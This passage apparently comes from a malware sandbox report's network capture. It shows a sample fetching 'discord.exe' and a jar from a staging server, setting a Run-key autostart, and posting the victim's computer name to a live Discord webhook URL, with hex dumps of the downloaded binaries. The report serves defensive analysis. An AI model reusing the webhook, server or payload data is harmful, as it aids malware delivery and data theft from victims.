Feb 3, 2023 20:41:54.103948116 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:54.105505943 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:54.279573917 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:54.283832073 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:54.430423021 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:54.593967915 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:56.615600109 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:56.615698099 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:56.799618959 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:56.803173065 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:56.943654060 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:57.126938105 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:59.131390095 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:59.131658077 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:59.296914101 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:59.300254107 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:59.460036993 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:59.638041973 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:59.833910942 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:42:01.647322893 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:42:01.648142099 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:42:01.810235977 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:42:01.813824892 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:42:01.975591898 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:42:02.154051065 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:42:10.798012972 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:42:10.961802959 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:42:11.029481888 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:42:11.201678991 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:42:12.279444933 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:42:12.461451054 CET	1337	49700	23.94.99.119	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 3, 2023 20:40:01.841218948 CET	50911	53	192.168.2.4	8.8.8.8
Feb 3, 2023 20:40:01.860591888 CET	53	50911	8.8.8.8	192.168.2.4
Feb 3, 2023 20:40:17.857033014 CET	59683	53	192.168.2.4	8.8.8.8
Feb 3, 2023 20:40:17.876921892 CET	53	59683	8.8.8.8	192.168.2.4
Feb 3, 2023 20:40:24.054794073 CET	64167	53	192.168.2.4	8.8.8.8
Feb 3, 2023 20:40:24.072293997 CET	53	64167	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 3, 2023 20:40:01.841218948 CET	192.168.2.4	8.8.8.8	0x30dd	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:17.857033014 CET	192.168.2.4	8.8.8.8	0x19c4	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:24.054794073 CET	192.168.2.4	8.8.8.8	0x4e5d	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 3, 2023 20:40:01.860591888 CET	8.8.8.8	192.168.2.4	0x30dd	No error (0)	canary.discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:01.860591888 CET	8.8.8.8	192.168.2.4	0x30dd	No error (0)	canary.discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:01.860591888 CET	8.8.8.8	192.168.2.4	0x30dd	No error (0)	canary.discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:01.860591888 CET	8.8.8.8	192.168.2.4	0x30dd	No error (0)	canary.discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:01.860591888 CET	8.8.8.8	192.168.2.4	0x30dd	No error (0)	canary.discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:17.876921892 CET	8.8.8.8	192.168.2.4	0x19c4	No error (0)	canary.discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:17.876921892 CET	8.8.8.8	192.168.2.4	0x19c4	No error (0)	canary.discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:17.876921892 CET	8.8.8.8	192.168.2.4	0x19c4	No error (0)	canary.discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:17.876921892 CET	8.8.8.8	192.168.2.4	0x19c4	No error (0)	canary.discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:17.876921892 CET	8.8.8.8	192.168.2.4	0x19c4	No error (0)	canary.discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:24.072293997 CET	8.8.8.8	192.168.2.4	0x4e5d	No error (0)	canary.discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:24.072293997 CET	8.8.8.8	192.168.2.4	0x4e5d	No error (0)	canary.discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:24.072293997 CET	8.8.8.8	192.168.2.4	0x4e5d	No error (0)	canary.discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:24.072293997 CET	8.8.8.8	192.168.2.4	0x4e5d	No error (0)	canary.discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Feb 3, 2023 20:40:24.072293997 CET	8.8.8.8	192.168.2.4	0x4e5d	No error (0)	canary.discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

canary.discord.com

23.94.99.119

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49697	162.159.138.232	443	C:\Users\user\Desktop\S3zoj9Uts0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49699	162.159.135.232	443	C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49701	162.159.138.232	443	C:\Users\user\Desktop\S3zoj9Uts0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49696	23.94.99.119	80	C:\Users\user\Desktop\S3zoj9Uts0.exe

Timestamp	kBytes transferred	Direction	Data
Feb 3, 2023 20:39:59.146704912 CET	0	OUT	GET /discord.exe HTTP/1.1 Host: 23.94.99.119 Connection: Keep-Alive
Feb 3, 2023 20:39:59.274133921 CET	1	IN	HTTP/1.1 200 OK Date: Fri, 03 Feb 2023 19:39:59 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0 Last-Modified: Mon, 30 Jan 2023 14:08:02 GMT ETag: "7800-5f37bbe46bd01" Accept-Ranges: bytes Content-Length: 30720 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7b 69 01 d9 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 6e 00 00 00 08 00 00 00 00 00 00 7e 8c 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2a 8c 00 00 4f 00 00 00 00 a0 00 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 98 8b 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 6c 00 00 00 20 00 00 00 6e 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d4 05 00 00 00 a0 00 00 00 06 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 00 00 00 02 00 00 00 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5e 8c 00 00 00 00 00 00 48 00 00 00 02 00 05 00 94 29 00 00 d4 1c 00 00 03 00 02 00 13 00 00 06 68 46 00 00 30 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 02 28 19 00 00 0a 00 00 2a 00 00 13 30 02 00 39 00 00 00 01 00 00 11 00 7e 01 00 00 04 14 fe 01 0a 06 2c 22 00 72 01 00 00 70 d0 02 00 00 02 28 1a 00 00 0a 6f 1b 00 00 0a 73 1c 00 00 0a 0b 07 80 01 00 00 04 00 7e 01 00 00 04 0c 2b 00 08 2a 00 00 00 13 30 01 00 0b 00 00 00 02 00 00 11 00 7e 02 00 00 04 0a 2b 00 06 2a 22 00 02 80 02 00 00 04 2a 13 30 01 00 0b 00 00 00 03 00 00 11 00 7e 03 00 00 04 0a 2b 00 06 2a 22 02 28 1d 00 00 0a 00 2a 56 73 06 00 00 06 28 1e 00 00 0a 74 03 00 00 02 80 03 00 00 04 2a ce 02 14 7d 04 00 00 04 02 28 1f 00 00 0a 00 00 02 28 11 00 00 06 00 02 7b 08 00 00 04 25 6f 20 00 00 0a 72 3b 00 00 70 28 21 00 00 0a 6f 22 00 00 0a 00 2a 0a 00 2a 0a 00 2a ba 00 72 75 00 00 70 28 23 00 00 0a 26 02 7b 08 00 00 04 25 6f 20 00 00 0a 28 24 00 00 0a 72 8f 00 00 70 28 25 00 00 0a 6f 22 00 00 0a 00 2a ba 00 72 ab 00 00 70 28 23 00 00 0a 26 02 7b 08 00 00 04 25 6f 20 00 00 0a 28 24 00 00 0a 72 cb 00 00 70 28 25 00 00 0a 6f 22 00 00 0a 00 2a 0a 00 2a 26 00 02 28 26 00 00 0a 00 2a 0a 00 2a 00 00 13 30 02 00 2b 00 00 00 04 00 00 11 00 03 2c 0b 02 7b 04 00 00 04 14 fe 03 2b 01 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL{i"0n~ @ `O8 H.textl n `.rsrcp@@.relocv@B^H)hF0E&(09~,"rp(os~+0~+"0~+"(Vs(t}(({%o r;p(!o"**rup(#&{%o ($rp(%o"rp(#&{%o ($rp(%o"&(&0+,{+
Feb 3, 2023 20:39:59.274185896 CET	2	IN	Data Raw: 16 0a 06 2c 0e 00 02 7b 04 00 00 04 6f 27 00 00 0a 00 00 02 03 28 28 00 00 0a 00 2a 00 13 30 03 00 06 05 00 00 05 00 00 11 00 d0 04 00 00 02 28 1a 00 00 0a 73 29 00 00 0a 0a 02 73 2a 00 00 0a 7d 05 00 00 04 02 73 2b 00 00 0a 7d 06 00 00 04 02 73 Data Ascii: ,{o'((0(s)s}s+}s,}s-}s+}s*}s,}s,}(.{Ks/o0{rpo1{ s2o3{o4{o5{
Feb 3, 2023 20:39:59.274229050 CET	4	IN	Data Raw: 28 43 00 00 0a 00 02 02 fe 06 0e 00 00 06 73 36 00 00 0a 28 44 00 00 0a 00 02 16 28 45 00 00 0a 00 02 28 46 00 00 0a 00 2a 00 00 13 30 02 00 31 00 00 00 06 00 00 11 73 14 00 00 06 0a 06 28 47 00 00 0a 7d 0e 00 00 04 06 15 7d 0d 00 00 04 06 7c 0e Data Ascii: (Cs6(D(E(F01s(G}}\|(+\|(I0(oJ(K"(0{(Lrp(!}(Mr-p(!}sN}(O(P{(Q
Feb 3, 2023 20:39:59.274260044 CET	5	IN	Data Raw: 00 72 02 4f 09 0e 00 02 06 4f 09 0e 00 7f 01 4f 09 cb 00 b7 06 00 00 0e 00 d6 01 4f 09 12 00 49 06 68 05 db 00 5b 07 00 00 06 00 8c 05 fc 00 0e 00 4e 06 4f 09 06 00 c5 01 fc 00 06 00 ca 01 1b 06 06 00 e1 0a fc 00 06 00 17 07 fc 00 06 00 eb 0a 58 Data Ascii: rOOOOIh[NOXp24prMa4eMM'bfxO-:B{
Feb 3, 2023 20:39:59.274290085 CET	6	IN	Data Raw: 09 53 01 61 01 06 01 59 01 19 02 f1 06 61 01 59 01 dd 06 67 01 59 01 eb 09 06 00 29 00 93 00 9c 03 2e 00 0b 00 e1 01 2e 00 13 00 ea 01 2e 00 1b 00 09 02 2e 00 23 00 12 02 2e 00 2b 00 12 02 2e 00 33 00 1e 02 2e 00 3b 00 24 02 2e 00 43 00 30 02 2e Data Ascii: SaYaYgY)....#.+.3.;$.C0.K:.S$.[.c].k.sC{CCIcc{B@@@`4SXj
Feb 3, 2023 20:39:59.274317980 CET	8	IN	Data Raw: 65 00 41 73 73 65 6d 62 6c 79 54 69 74 6c 65 41 74 74 72 69 62 75 74 65 00 41 73 79 6e 63 53 74 61 74 65 4d 61 63 68 69 6e 65 41 74 74 72 69 62 75 74 65 00 44 65 62 75 67 67 65 72 53 74 65 70 54 68 72 6f 75 67 68 41 74 74 72 69 62 75 74 65 00 41 Data Ascii: eAssemblyTitleAttributeAsyncStateMachineAttributeDebuggerStepThroughAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeDebuggerHiddenAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDescriptionAttribu
Feb 3, 2023 20:39:59.274349928 CET	9	IN	Data Raw: 65 73 00 4d 41 48 41 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 00 64 69 73 63 6f 72 64 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 00 64 69 73 63 Data Ascii: esMAHA.Form1.resourcesdiscord.Properties.Resources.resourcesDebuggingModesdiscord.PropertiesSystem.Windows.Forms.VisualStylesEnableVisualStylesGetBytesSettingsEventArgsSystem.Threading.Tasksget_ControlsSystem.Windows.Formsget_Head
Feb 3, 2023 20:39:59.274380922 CET	10	IN	Data Raw: 00 6f 00 66 00 74 00 5c 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 45 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 5c 00 00 3f 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 32 00 33 00 2e 00 39 00 34 00 2e 00 39 00 39 00 2e 00 31 00 31 Data Ascii: oft\Internet Explorer\?http://23.94.99.119/discord.exe[SOFTWARE\Microsoft\Windows\CurrentVersion\RunDiscord?http://23.94
Feb 3, 2023 20:39:59.274410009 CET	12	IN	Data Raw: 69 74 48 75 62 00 00 09 01 00 04 4d 41 48 41 00 00 22 01 00 1d 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 47 69 74 48 75 62 20 32 30 31 33 2d 32 30 31 35 00 00 29 01 00 24 39 37 37 32 65 38 34 64 2d 38 36 30 66 2d 34 66 61 30 2d 62 63 61 65 2d 38 63 Data Ascii: itHubMAHA"Copyright GitHub 2013-2015)$9772e84d-860f-4fa0-bcae-8cad8632350c1.0.0.0I.NETFramework,Version=v4.8TFrameworkDisplayName.NET Framework 4.8MAHA.Program+<Main>d__0A3System.Resources.Tools.S
Feb 3, 2023 20:39:59.274441004 CET	13	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Feb 3, 2023 20:39:59.398401976 CET	14	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Feb 3, 2023 20:39:59.442565918 CET	32	OUT	GET /discord.jar HTTP/1.1 Host: 23.94.99.119
Feb 3, 2023 20:39:59.571712971 CET	34	IN	HTTP/1.1 200 OK Date: Fri, 03 Feb 2023 19:39:59 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0 Last-Modified: Thu, 26 Jan 2023 03:05:11 GMT ETag: "9feb5-5f32204607ff8" Accept-Ranges: bytes Content-Length: 655029 Content-Type: application/java-archive Data Raw: 50 4b 03 04 14 00 08 08 08 00 a5 98 39 56 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 49 6c 49 49 6c 4c 6c 6c 49 2f 6c 6c 6c 49 6c 49 6c 49 6c 6c 6c 2f 49 49 6c 6c 6c 6c 6c 49 6c 49 49 6c 2f 6c 49 6c 49 6c 49 49 6c 6c 49 2f 49 49 6c 6c 49 6c 6c 6c 6c 49 49 6c 49 49 49 49 2e 63 6c 61 73 73 d5 3c 07 40 14 47 d7 b3 fb 0e 0e 8e 03 d6 5b 16 59 50 44 44 a4 0a 2a 2e 78 d8 10 44 0f 10 0b ab 02 56 44 04 04 01 01 0b 4a d4 58 63 4c 8f 31 31 cd 96 c4 98 98 c4 44 83 18 13 4b 8a 26 c6 24 a6 1b a3 29 98 de 13 d3 1b ff 9b d9 bd 42 b1 e7 fb f2 fd 78 f7 76 df ec cc 6b f3 de cc bc d9 39 8f fc fd c4 3e 42 48 82 41 e2 c8 40 5b b9 cd 56 9e 55 5e 6e 8b 2b 47 c0 fe 95 97 c7 d9 28 64 b8 ad 3c 4e 2b b6 d1 3a 0c b2 27 b4 c4 66 33 12 8e 23 c2 cc 82 b9 05 71 e5 05 15 c5 71 23 a7 cd 2c 2a ac 35 12 c0 52 5a d5 66 b3 b7 2d b7 71 64 40 d6 45 72 d3 d8 68 64 92 39 e2 63 d3 2a 69 35 90 a0 38 21 cb c9 3b a7 b6 ba b4 a2 98 56 d3 04 b4 e9 64 38 c2 d9 60 72 70 f1 19 fa c4 66 97 9d 92 e0 88 21 22 72 c2 10 8e f8 6a 35 6d ba 6e e5 1c 49 8a 70 a1 9c 5a 5e 50 53 93 9c d5 5a cd 64 5b 64 db 32 8e f4 ee af 5a db 96 0f 6c 43 b0 7f d4 c0 64 55 4d 8e c4 2f 47 42 9c 0f 51 86 a2 e2 82 f2 94 c2 c2 a2 9a 9a a1 f3 0b 8b aa 6a 4b 2b 2b 8c a4 03 47 02 9d b5 c6 cc a9 a8 2d 9d 55 e4 f2 5c 44 7b b0 e7 a5 95 71 b6 91 2e 0f 24 a8 e8 f1 c8 56 98 16 9b 93 66 26 9e c4 e4 49 78 22 43 71 ff 9d 2f 42 f7 93 d3 12 38 32 f8 62 9d c0 66 ef d9 72 ad c8 48 3a d3 0e b7 77 8c 4e 81 23 89 17 62 c5 7c bb 19 e7 d4 96 96 c7 65 95 d6 d4 26 9b 49 17 12 62 22 c1 a4 2b f6 59 cb 67 46 d2 8d 23 1e a5 b5 45 d5 05 b5 95 d5 1c f1 8f 70 6d 6d d3 cb 91 42 77 12 ee 45 c2 48 0f e8 9d 38 61 13 76 71 2b 41 8c 24 8a 23 96 b6 2d 8d 24 86 23 c6 92 82 9a ec a2 f9 b5 1c 81 88 c8 7c 33 e9 49 e2 bc 48 2c 89 87 d0 c4 ad 1d d1 6b 2a d8 33 bf 88 76 fa df 4c fa 90 04 5a b9 2f 47 3a 3a 9f 56 17 cd 28 c7 c7 71 e9 a5 45 e5 d3 8d 24 11 ca b7 de 5d 0b 09 bd 17 e6 62 af 69 76 b6 3b 26 bb e1 48 4f 57 db b5 68 de d2 ef 74 b7 37 93 64 d2 9f 9a 6c 00 e4 97 1d 29 31 13 37 e2 4e 3b 7a 30 94 dc 66 f5 e7 48 f2 65 84 9e 91 a4 a2 b6 7a e0 e9 d1 ac 3d 42 13 46 b4 e8 be 11 05 55 28 ca 50 92 6e 22 69 64 18 47 bc 5b 3c 32 12 6c e1 55 58 59 51 5b 50 5a 51 93 59 54 c7 11 29 a2 ad 0d a9 c9 33 49 96 17 c9 20 23 20 23 7f 11 8e 26 c6 e2 a2 5a b5 ae aa 08 ad d5 c2 ea 9a 53 99 c9 28 32 da 44 92 c8 18 08 7d 3a 0d 87 35 c0 ea 1c 09 6f 8f 76 7b 5d 36 96 8c a3 cc c6 43 67 ef d7 83 39 d2 41 d7 d1 69 03 8e 8c 3e a7 2b b7 ec 9f 0b 1b 29 cc 24 9f 4c 30 61 17 4d 44 79 6b a8 bc 3d da 91 b7 1d 0d c6 99 c9 64 32 85 aa 3b 15 7c 3b 1b c2 21 27 ec a0 0a 83 ae 79 3b 8a 82 5e 14 74 87 84 ed 1e 23 61 92 4f 6e 09 47 dc fb 97 56 94 d6 0e 64 ce 8c 6d 4b c9 4c 13 b1 90 32 c8 b8 a3 ff 2f 2d 46 6f cd 95 8c a4 02 82 0e bf f9 03 84 bf 9e b1 99 82 3d 14 3c 04 b1 5f 98 37 9a 88 3f 36 84 a1 47 b6 40 4c d1 c3 cf 82 e1 ed ef 67 60 27 0f ad ae ae ac 0e 29 ad 08 c1 b8 29 f1 20 ad bb 55 77 51 8d f9 42 13 f1 23 f5 94 50 3d c4 7f 66 d8 0b 11 8f dc fa 2e ce 0d 17 e7 9f e5 e5 fa f4 a2 0d 37 46 72 25 6a a2 47 91 7d 54 b2 99 c9 32 e2 4d 2d bc 1c fd d4 Data Ascii: PK9VDIlIIlLllI/lllIlIlIlll/IIlllllIlIIl/lIlIlIIllI/IIllIllllIIlIIII.class<@G[YPDD.xDVDJXcL11DK&$)Bxvk9>BHA@[VU^n+G(d<N+:'f3#qq#,5RZf-qd@Erhd9ci58!;Vd8`rpf!"rj5mnIpZ^PSZd[d2ZlCdUM/GBQjK++G-U\D{q.$Vf&Ix"Cq/B82bfrH:wN#b\|e&Ib"+YgF#EpmmBwEH8avq+A$#-$#\|3IH,k3vLZ/G::V(qE$]biv;&HOWht7dl)17N;z0fHez=BFU(Pn"idG[<2lUXYQ[PZQYT)3I # #&ZS(2D}:5ov{]6Cg9Ai>+)$L0aMDyk=d2;\|;!'y;^t#aOnGVdmKL2/-Fo=<_7?6G@Lg`')) UwQB#P=f.7Fr%jG}T2M-

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49697	162.159.138.232	443	C:\Users\user\Desktop\S3zoj9Uts0.exe

Timestamp	Direction	Data
2023-02-03 19:40:02 UTC	OUT	POST /api/webhooks/1061591881189961839/KwqGODsud5jnEMwoLx_f6PdyZpFgjhKU-fUjwmwXiSSOBri5CuGLlgGvA4a7d18uh4zS HTTP/1.1 Content-Type: application/json Host: canary.discord.com Content-Length: 62 Expect: 100-continue Connection: Keep-Alive
2023-02-03 19:40:02 UTC	IN	HTTP/1.1 100 Continue
2023-02-03 19:40:02 UTC	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 43 6f 6e 6e 65 63 74 65 64 20 46 6f 72 6d 20 41 75 74 6f 53 74 61 72 74 3a 20 20 43 6f 6d 70 75 74 65 72 2d 4e 61 6d 65 3a 36 34 32 32 39 34 22 7d Data Ascii: {"content": "Connected Form AutoStart: Computer-Name:642294"}
2023-02-03 19:40:02 UTC	IN	HTTP/1.1 204 No Content Date: Fri, 03 Feb 2023 19:40:02 GMT Content-Type: text/html; charset=utf-8 Connection: close CF-Ray: 793da2d24c5791cf-FRA Set-Cookie: __dcfduid=8d344084a3fa11edb12a467b796b8d6b; Expires=Wed, 02-Feb-2028 19:40:02 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Via: 1.1 google CF-Cache-Status: DYNAMIC Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 X-Content-Type-Options: nosniff x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1675453203 x-ratelimit-reset-after: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wGn6yHXBAJL%2BwrmFRRnok3Z50WPvl0SmfplMEVvItb%2FCrviqsloCMN6xo%2BtLzcsmlMpWZyvyEQq1%2FdJTyHBGj%2ByhQukDRzhRhbHLpdnYt6lTODiqCgWV5X7ggNeiwZPDrt7WhA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Set-Cookie: __sdcfduid=8d344084a3fa11edb12a467b796b8d6be5ad0f4dc92308f9dfeededdc6772f9ae58494e80434a0c06e9f2171d48ea306; Expires=Wed, 02-Feb-2028 19:40:02 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/ Set-Cookie: __cfruid=613838f9327cc32732558283b872653ef79e9a4d-1675453202; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49699	162.159.135.232	443	C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe

Timestamp	kBytes transferred	Direction	Data
2023-02-03 19:40:18 UTC	1	OUT	POST /api/webhooks/1061591881189961839/KwqGODsud5jnEMwoLx_f6PdyZpFgjhKU-fUjwmwXiSSOBri5CuGLlgGvA4a7d18uh4zS HTTP/1.1 Content-Type: application/json Host: canary.discord.com Content-Length: 62 Expect: 100-continue Connection: Keep-Alive
2023-02-03 19:40:18 UTC	1	IN	HTTP/1.1 100 Continue
2023-02-03 19:40:18 UTC	1	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 43 6f 6e 6e 65 63 74 65 64 20 46 6f 72 6d 20 41 75 74 6f 53 74 61 72 74 3a 20 20 43 6f 6d 70 75 74 65 72 2d 4e 61 6d 65 3a 36 34 32 32 39 34 22 7d Data Ascii: {"content": "Connected Form AutoStart: Computer-Name:642294"}
2023-02-03 19:40:18 UTC	1	IN	HTTP/1.1 204 No Content Date: Fri, 03 Feb 2023 19:40:18 GMT Content-Type: text/html; charset=utf-8 Connection: close CF-Ray: 793da3359fafbb5c-FRA Set-Cookie: __dcfduid=96af45faa3fa11edbfd6467b796b8d6b; Expires=Wed, 02-Feb-2028 19:40:18 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Via: 1.1 google CF-Cache-Status: DYNAMIC Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 X-Content-Type-Options: nosniff x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1675453219 x-ratelimit-reset-after: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=I64Nu4e74kNKgDI4m9k01S4iIsyk67AWPNnAJVcUShP38W%2BFAbn9wMWcDYFWnluRuwQmsQPZiIpo4D2xtE0Ml0j9PpNiwZslH1tM3iwcCabvzscFeuj3U210Nn83E34x69y38A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Set-Cookie: __sdcfduid=96af45faa3fa11edbfd6467b796b8d6b101bb2f69dbb74e3a021e7e2a6fc2a5a8d1349f4077e9a3a61c1b77597d44192; Expires=Wed, 02-Feb-2028 19:40:18 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/ Set-Cookie: __cfruid=9245cd116d5b0c069445839cc4bf4f344c00ea33-1675453218; path=/; domain=.discord.com; HttpOnly; Secure; 